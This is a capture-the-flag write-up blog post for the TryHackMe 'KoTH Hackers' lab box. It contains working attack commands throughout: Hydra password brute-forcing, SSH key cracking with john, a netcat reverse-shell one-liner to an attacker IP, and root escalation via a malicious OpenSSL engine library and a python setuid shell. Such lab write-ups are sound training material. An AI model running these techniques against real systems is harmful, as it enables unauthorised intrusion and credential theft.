KoTH Hackers TryHackMe Writeup

Shivam Taneja
12 min readOct 22, 2022

--

TryHackMe — KoTH Hackers

Check it out at TryHackMe KoTH Hackers

From the May collection of boxes, Hackers was designed to be a step up in difficulty from FoodCTF. With dynamic passwords and keys, this box is designed to be more replayable too.

Enumeration

Your first step should always be enumeration. If you don’t know where a door is, you can’t use it to get in. Let’s find those doors.

An nmap scan reveals 4 open ports, 21, 22, 80 and 9999. 9999 is running the king service, so this isn’t likely to be a way in.

root@ninja:~# nmap -sV -p- 10.10.166.184

Starting Nmap 7.80 ( https://nmap.org ) at 2020–05–09 17:59 BST

Nmap scan report for 10.10.166.184

Host is up (0.022s latency).

Not shown: 65531 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.0.8 or later

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)

9999/tcp open abyss?

Let’s check them out in numerical order. For FTP, it’s worth trying the username “Anonymous” with no password to see if that’s enabled.

Initial Access

root@ninja:~/koth-hackers# ftp 10.10.166.184

Connected to 10.10.166.184.

220-Ellingson Mineral Company FTP Server

220-

220-WARNING

220-Unauthorised Access is a felony offense under the Computer Fraud and Abuse Act 1986

220

Name (10.10.166.184:root): Anonymous

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> ls

200 PORT command successful. Consider using PASV.

150 Here comes the directory listing.

-rw-r — r — 1 ftp ftp 400 Apr 29 03:57 note

226 Directory send OK.

ftp> get note

local: note remote: note

200 PORT command successful. Consider using PASV.

150 Opening BINARY mode data connection for note (400 bytes).

226 Transfer complete.

400 bytes received in 0.00 secs (1.2844 MB/s)

ftp> exit

221 Goodbye.

Sweet, we got access. There was a note on the FTP, let’s see what it says.

root@ninja:~/koth-hackers# cat note

Note:

Any users with passwords in this list:

love

sex

god

secret

will be subject to an immediate disciplinary hearing.

Any users with other weak passwords will be complained at, loudly.

These users are:

rcampbell:Robert M. Campbell:Weak password

gcrawford:Gerard B. Crawford:Exposing crypto keys, weak password

Exposing the company’s cryptographic keys is a disciplinary offense.

Eugene Belford, CSO

2 accounts, with usernames. And hopefully still weak passwords. Let’s try the first password from that list on each account for SSH.

root@ninja:~/koth-hackers# ssh gcrawford@10.10.99.187

The authenticity of host ‘10.10.99.187 (10.10.99.187)’ can’t be established.

ECDSA key fingerprint is SHA256:QpACQIiTeFQlJmWkWi2dXjqPsoLnSUJQ714SdksCOe4.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added ‘10.10.99.187’ (ECDSA) to the list of known hosts.

Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986

gcrawford@10.10.99.187: Permission denied (publickey).

root@ninja:~/koth-hackers# ssh rcampbell@10.10.99.187

Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986

rcampbell@10.10.99.187’s password:

Permission denied, please try again.

rcampbell@10.10.99.187’s password:

So, Gerard Crawford’s account uses key authentication and has password auth disabled. But maybe their weak password is for FTP? Let’s chuck hydra at it and find out.

root@ninja:~/koth-hackers# hydra ftp://10.10.99.187 -l gcrawford -P /usr/share/wordlists/rockyou.txt -t 64

Hydra v9.0 © 2019 by van Hauser/THC — Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020–05–09 22:20:47

[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task

[DATA] attacking ftp://10.10.99.187:21/

[STATUS] 2470.00 tries/min, 2470 tries in 00:01h, 14342058 to do in 96:47h, 64 active

[STATUS] 2350.33 tries/min, 7051 tries in 00:03h, 14337477 to do in 101:41h, 64 active

[21][ftp] host: 10.10.99.187 login: gcrawford password: evelina

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020–05–09 22:27:13

We got creds! Let’s log in to the FTP server and see if we can get those crypto keys that Eugene complained at Gerard for exposing

root@ninja:~/koth-hackers# ftp 10.10.99.187

Connected to 10.10.99.187.

220-Ellingson Mineral Company FTP Server

220-

220-WARNING

220-Unauthorised Access is a felony offense under the Computer Fraud and Abuse Act 1986

220

Name (10.10.99.187:root): gcrawford

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> ls -a

200 PORT command successful. Consider using PASV.

150 Here comes the directory listing.

drwxr-x — — 6 ftp ftp 4096 Apr 30 04:25 .

drwxr-x — — 6 ftp ftp 4096 Apr 30 04:25 ..

lrwxrwxrwx 1 ftp ftp 9 Apr 30 01:31 .bash_history -> /dev/null

-rw-r — r — 1 ftp ftp 220 Apr 29 04:00 .bash_logout

-rw-r — r — 1 ftp ftp 3771 Apr 29 04:00 .bashrc

drwx — — — 2 ftp ftp 4096 Apr 29 17:05 .cache

drwx — — — 3 ftp ftp 4096 Apr 29 17:05 .gnupg

drwxrwxr-x 3 ftp ftp 4096 Apr 29 20:53 .local

-rw-r — r — 1 ftp ftp 807 Apr 29 04:00 .profile

drwx — — — 2 ftp ftp 4096 May 09 21:10 .ssh

-r — — — — 1 ftp ftp 252 Apr 30 04:25 business.txt

226 Directory send OK.

ftp> get business.txt

local: business.txt remote: business.txt

150 Opening BINARY mode data connection for business.txt (252 bytes).

226 Transfer complete.

252 bytes received in 0.00 secs (70.7776 kB/s)

ftp> cd .ssh

250 Directory successfully changed.

ftp> ls

200 PORT command successful. Consider using PASV.

150 Here comes the directory listing.

-rw-r — r — 1 ftp ftp 398 May 09 21:10 authorized_keys

-rw — — — — 1 ftp ftp 1766 May 09 21:10 id_rsa

-rw-r — r — 1 ftp ftp 398 May 09 21:10 id_rsa.pub

226 Directory send OK.

ftp> get id_rsa

local: id_rsa remote: id_rsa

150 Opening BINARY mode data connection for id_rsa (1766 bytes).

226 Transfer complete.

1766 bytes received in 0.00 secs (6.1021 MB/s)

ftp> exit

221 Goodbye.

We got a key, and we got a note. Let’s check the note.

root@ninja:~/koth-hackers# cat business.txt

Remember to send the accounts to Rich by 5pm Friday.

Remember to change my password, before the meeting with Mr Belford.

I hope he doesn’t fire me. I need to provide for my family

I need to send Ben the flag too

So he’s aware of the weak password. Let’s check out the SSH key.

root@ninja:~/koth-hackers# chmod 600 id_rsa

root@ninja:~/koth-hackers# ssh -i id_rsa gcrawford@10.10.99.187

Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986

Enter passphrase for key ‘id_rsa’:

Enter passphrase for key ‘id_rsa’:

Enter passphrase for key ‘id_rsa’:

gcrawford@10.10.99.187: Permission denied (publickey).

So, they key is encrypted and the password isn’t the same. But we can crack it using john. Let’s first convert it to a hash using ssh2john, and then set John The Ripper loose.

root@ninja:~/koth-hackers# python3 /usr/share/john/ssh2john.py id_rsa > ssh_hash.txt

/usr/share/john/ssh2john.py:103: DeprecationWarning: decodestring() is a deprecated alias since Python 3.1, use decodebytes()

data = base64.decodestring(data)

root@ninja:~/koth-hackers# john ssh_hash.txt — format=ssh — wordlist=/usr/share/wordlists/rockyou.txt

Using default input encoding: UTF-8

Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])

Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes

Cost 2 (iteration count) is 1 for all loaded hashes

Will run 4 OpenMP threads

Note: This format may emit false positives, so it will keep trying even after

finding a possible candidate.

Press ‘q’ or Ctrl-C to abort, almost any other key for status

saturn1 (id_rsa)

Warning: Only 2 candidates left, minimum 4 needed for performance.

1g 0:00:00:02 DONE (2020–05–09 22:36) 0.3649g/s 5234Kp/s 5234Kc/s 5234KC/sa6_123..*7¡Vamos!

Session completed

Even cracking inside a VM with 4 threads, that was fast. Now let’s get an SSH Session.

root@ninja:~/koth-hackers# ssh -i id_rsa gcrawford@10.10.99.187

Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986

Enter passphrase for key ‘id_rsa’:

Last login: Wed Apr 29 19:32:48 2020 from 192.168.170.1

gcrawford@gibson:~$ whoami

gcrawford

gcrawford@gibson:~$ ls

business.txt

gcrawford@gibson:~$ ls -lah

total 40K

drwxr-x — — 6 gcrawford gcrawford 4.0K Apr 30 04:25 .

drwxr-xr-x 6 root root 4.0K Apr 29 22:05 ..

lrwxrwxrwx 1 gcrawford gcrawford 9 Apr 30 01:31 .bash_history -> /dev/null

-rw-r — r — 1 gcrawford gcrawford 220 Apr 29 04:00 .bash_logout

-rw-r — r — 1 gcrawford gcrawford 3.7K Apr 29 04:00 .bashrc

-r — — — — 1 gcrawford gcrawford 252 Apr 30 04:25 business.txt

drwx — — — 2 gcrawford gcrawford 4.0K Apr 29 17:05 .cache

drwx — — — 3 gcrawford gcrawford 4.0K Apr 29 17:05 .gnupg

drwxrwxr-x 3 gcrawford gcrawford 4.0K Apr 29 20:53 .local

-rw-r — r — 1 gcrawford gcrawford 807 Apr 29 04:00 .profile

drwx — — — 2 gcrawford gcrawford 4.0K May 9 21:10 .ssh

gcrawford@gibson:~$ sudo -l

[sudo] password for gcrawford:

Matching Defaults entries for gcrawford on gibson:

env_reset, pwfeedback, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User gcrawford may run the following commands on gibson:

(root) /bin/nano /home/gcrawford/business.txt

Getting root from here is trivial, so I’ll drop a link to GTFOBins and move on.

Now, port 22. The other user wasn’t using key auth, so we might be able to bruteforce their login. Since bruteforcing SSH is slow and FTP uses the same login, let’s attack that with hydra again

root@ninja:~/koth-hackers# hydra ftp://10.10.99.187 -l rcampbell -P /usr/share/wordlists/rockyou.txt -t 64

Hydra v9.0 © 2019 by van Hauser/THC — Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020–05–09 22:47:36

[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task

[DATA] attacking ftp://10.10.99.187:21/

[21][ftp] host: 10.10.99.187 login: rcampbell password: rosita

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020–05–09 22:47:56

Let’s log in and see what we can do

Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986

rcampbell@10.10.99.187’s password:

The programs included with the Ubuntu system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by

applicable law.

rcampbell@gibson:~$ sudo -l

[sudo] password for rcampbell:

Sorry, user rcampbell may not run sudo on gibson.

rcampbell@gibson:~$

Well. I guess we’ll come back to this user later on. Let’s move on to the webserver. If we open it up, we’re greeted with a page straight from the 90s. Ouch.

But maybe there’s more. Let’s see what else is on the webserver, by running gobuster.

root@ninja:~/koth-hackers# gobuster dir -u http://10.10.99.187 -w /usr/share/wordlists/dirb/common.txt

===============================================================

Gobuster v3.0.1

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)

===============================================================

[+] Url: http://10.10.99.187

[+] Threads: 10

[+] Wordlist: /usr/share/wordlists/dirb/common.txt

[+] Status codes: 200,204,301,302,307,401,403

[+] User Agent: gobuster/3.0.1

[+] Timeout: 10s

===============================================================

2020/05/09 23:07:40 Starting gobuster

===============================================================

/backdoor (Status: 301)

/contact (Status: 301)

/img (Status: 301)

/index.html (Status: 301)

/news (Status: 301)

/robots.txt (Status: 200)

/staff (Status: 301)

===============================================================

2020/05/09 23:07:49 Finished

===============================================================

/backdoor. That looks… suspicious to say the least. Let’s see what’s there.

A login page. We don’t have creds so let’s do some manual enumeration. Let’s look at the staff page. See who we’re dealing with.

Don’t just take pages at face value. We know Eugene is the CSO, but if you’ve seen the movie or googled a plot summary, you’ll know he’s sabotaging the company. It’s likely the backdoor is his.

Viewing source, we see a note. Looks like Eugene might have had to put together this page, and resents that. That comment, “plague”, is likely to be his username. Let’s capture a request and see what it looks like.

POST /api/login HTTP/1.1

Host: 10.10.99.187

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Origin: http://10.10.99.187

Content-Length: 33

Connection: close

username=plague&password=password

Now that we have a request, we can try and attack the API route with Hydra. The response was “Incorrect Credentials” so let’s use this as our failure condition.

root@ninja:~/koth-hackers# hydra 10.10.99.187 http-post-form ‘/api/login:username=^USER^&password=^PASS^:Incorrect’ -l plague -P /usr/share/wordlists/rockyou.txt -t 64

Hydra v9.0 © 2019 by van Hauser/THC — Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020–05–10 00:13:05

[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task

[DATA] attacking http-post-form://10.10.99.187:80/api/login:username=^USER^&password=^PASS^:Incorrect

[80][http-post-form] host: 10.10.99.187 login: plague password: love29

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020–05–10 00:13:56

Let’s use the password we found to log in.

Looks like we have RCE. If you play around, you might notice it’s not exactly a full shell but we can run commands. Let’s spawn a revshell.

plague@gibson:$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.6.110 4242 >/tmp/f

root@ninja:~/koth-hackers# nc -lvnp 4242

listening on [any] 4242 …

connect to [10.8.6.110] from (UNKNOWN) [10.10.99.187] 33314

/bin/sh: 0: can’t access tty; job control turned off

$

Revshells are nice, but you can do better. Let’s establish some persistence with an SSH key.

$ ssh-keygen

Generating public/private rsa key pair.

Enter file in which to save the key (/home/production/.ssh/id_rsa):

Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Created directory ‘/home/production/.ssh’.

Your identification has been saved in /home/production/.ssh/id_rsa.

Your public key has been saved in /home/production/.ssh/id_rsa.pub.

The key fingerprint is:

SHA256:oyjr1vfKkcVc4syzS7CYJebitE2beHMOxA1zYP3nF+c production@gibson

The key’s randomart image is:

+ — -[RSA 2048] — — +

| o. |

| . .. |

| o … . |

| . = *.o. . . |

| = + So + |

| + * * +. . E |

| +.B = o . |

| o.O+=oo . |

| o*.+=+oo |

+ — — [SHA256] — — -+

$ cat ~/.ssh/id_rsa.pub > ~/.ssh/authorized_keys

$ cat ~/.ssh/id_rsa

— — -BEGIN RSA PRIVATE KEY — — -

KEY REDACTED FOR BREVITY

— — -END RSA PRIVATE KEY — — -

And then let’s log in with this key.

root@ninja:~/koth-hackers# nano id_prod

root@ninja:~/koth-hackers# chmod 600 id_prod

root@ninja:~/koth-hackers# ssh -i id_prod production@10.10.99.187

Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986

production@gibson:~$ sudo -l

Matching Defaults entries for production on gibson:

env_reset, pwfeedback, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User production may run the following commands on gibson:

(root) NOPASSWD: /usr/bin/openssl

production@gibson:~$

That’s all the users on the box, with stable SSH connections. That means it’s time to look for a privesc.

PrivEscs

We found 2 of the users had limited sudo rights on this box. With GTFOBins, the nano priv esc is fairly simple. OpenSSL, however, is not quite so simple.

From GTFOBins for OpenSSL, we see a large number of potential privescs. Unfortunately, the reverse shell method won’t work. If you break the command down, it’s running /bin/sh without sudo so there’s no privesc. The file read/write methods seem interesting, but the one I found easiest was the library load.

“-engine” is intended for adding software cryptographic engines, but according to GTFOBins we can use this to run code in the main process’s context. So, as root when openSSL is ran with sudo. From this article, Hacking Articles — Linux Privilege Escalation using LD_Preload we can work out how to create a shared library that OpenSSL will load and execute.

The C code is fairly simple, the “main” function is replaced with an “_init” which simply starts a shell with a call to system()

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

void _init() {

setgid(0);

setuid(0);

system(“/bin/sh”);

}

Let’s compile this to a .so file and copy it over to the box as we don’t have a C compiler on the box.

root@ninja:~/koth-hackers# nano shell.c

root@ninja:~/koth-hackers# gcc -fPIC -shared -o shell.so shell.c -nostartfiles

shell.c: In function ‘_init’:

shell.c:5:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]

5 | setgid(0);

| ^~~~~~

shell.c:6:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]

6 | setuid(0);

| ^~~~~~

root@ninja:~/koth-hackers# scp -i id_prod ./shell.so production@10.10.99.187:~/shell.so

Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986

And then we need to run openssl as root with sudo, and load our library as the crypto engine.

production@gibson:~$ sudo openssl req -engine ./shell.so

# id -a

uid=0(root) gid=0(root) groups=0(root)

There’s still one more user that we haven’t found a privesc for. They don’t get sudo. Let’s look for suid binaries. I won’t show the output because it’s very long.

Ok, nothing unusual there. Let’s try looking for SUID’s big brother, capabilities. These were added to the Linux kernel as an alternative to suid, to allow more granular control over privileges.

rcampbell@gibson:~$ getcap -r / 2>/dev/null

/usr/bin/python3.6 = cap_setuid+ep

/usr/bin/python3.6m = cap_setuid+ep

/usr/bin/mtr-packet = cap_net_raw+ep

Depending on how much you know about Linux, you might notice “setuid”. Sounds pretty interesting. That capability allows the process to use the setuid system call fully, more info here.

With python, we can set our process’s UID with os.setuid(id). Let’s quickly write some code and then get root!

import os,pty

os.setuid(0)

pty.spawn(“/bin/bash”)

You can do this on a single line using python -c. Running our script gives us a root shell. Neat.

rcampbell@gibson:~$ python3 shell.py

root@gibson:~# id -a

uid=0(root) gid=1002(rcampbell) groups=1002(rcampbell)

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

--

--

Shivam Taneja
Shivam Taneja

Written by Shivam Taneja

IT Security Consultant, Researcher, Penetration Tester & Hacker.

No responses yet

Write a response